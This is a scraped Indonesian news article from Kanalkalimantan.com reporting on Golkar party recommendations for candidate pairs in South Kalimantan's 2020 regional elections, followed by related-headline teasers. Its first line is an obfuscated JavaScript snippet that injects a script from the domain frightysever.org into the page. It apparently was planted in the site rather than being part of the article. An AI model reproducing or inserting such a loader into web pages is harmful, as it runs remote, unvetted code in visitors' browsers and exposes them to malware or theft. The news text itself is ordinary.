(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – DPP Partai Golkar telah mengeluarkan surat keputusan (SK) untuk bakal pasangan calon kepala daerah untuk Pilkada serentak di Kalimantan Selatan. Namun dari 7 daerah yang menyelenggarakan pilkada, baru 5 daerah yang telah mendapatkan surat rekomendasi.
Yakni untuk Pilgub Kalsel yang sudah dipastikan akan mengusung Sahbirin Noor – Muhidin. Kemudian disusul nama Nadji Adhani – Darmawan Jaya Setiawan di Pilwali Banjarbaru, Ansharuddin – M Noor Iswan di Pilbup Balangan, H. Rusli – KH M. Fadlan di Pilbup Banjar, dan terakhir Syafruddin Maming – Andi Rudi Latif di Pilbup Tanah Bumbu.
Lalu, bagaimana untuk dua daerah lainnya yaitu Kota Banjarmasin dan Kabupaten Kotabaru?
Ditemui usai pembukaan Musyawarah Daerah (Musda) X Partai Golkar Kalsel di Banjarmasin pada Jumat (17/7/2020) malam, Wakil Ketua Umum DPP Partai Golkar Azis Syamsuddin mengatakan, hingga kini di DPP Partai Golkar masih menjalani proses survei. Ia memastikan, hasil survei akan diputuskan pada akhir Juli 2020 mendatang.
Baca juga :
“Di DPP lagi proses survei. Mudah-mudahan di akhir bulan Juli, maksimal sudah ada keputusan,” kata Azis.
Lalu, mengapa SK untuk dua daerah ini terlambat, jika dibandingkan 5 daerah lainnya di Kalsel? “Masih survei. Masih proses survei,” singkatnya.
Senada dengan Azis, Ketua Harian DPD Partai Golkar Kalsel H. Supian HK menyebut, nama bakal calon kepala daerah yang diusung partai beringin di dua daerah ini akan diputuskan di akhir bulan ini. “Tadi sudah dijelaskan oleh Bapak (Wakil Ketua Umum DPP) tadi. Mungkin, akhir bulan Juli,” singkat Supian.
Seperti diketahui, Partai Golkar digadang-gadang akan mengusung pasangan Abdul Haris Makkie – H. Yuni Abdi Nur Sulaiman di Pilwali Banjarmasin dan Sayed Jafar – Sudian Noor di Pilbup Kotabaru. Namun, saat SK dikeluarkan pada Minggu (12/7/2020) kemarin, nama keduanya belum tercantum.
Baca juga :
Ihwal ini, pada Senin (13/7/2020) kemarin, Supian menyebut bahwa belum dicantumkannya kedua pasangan tersebut di SK hanyalah sebatas teknis saja. “Tinggal dua (daerah) lagi. (Yaitu) Kotabaru dan Haris Makkie (di Banjarmasin). Itu soal teknis saja,” kata Supian saat itu.
Ditanya soal mengapa kedua pasangan ini belum ditetapkan pada SK, Supian sempat celetuk kepada awak media. “Tanyakan pada rumput yang bergoyang,” ucapnya. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More
KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
This website uses cookies.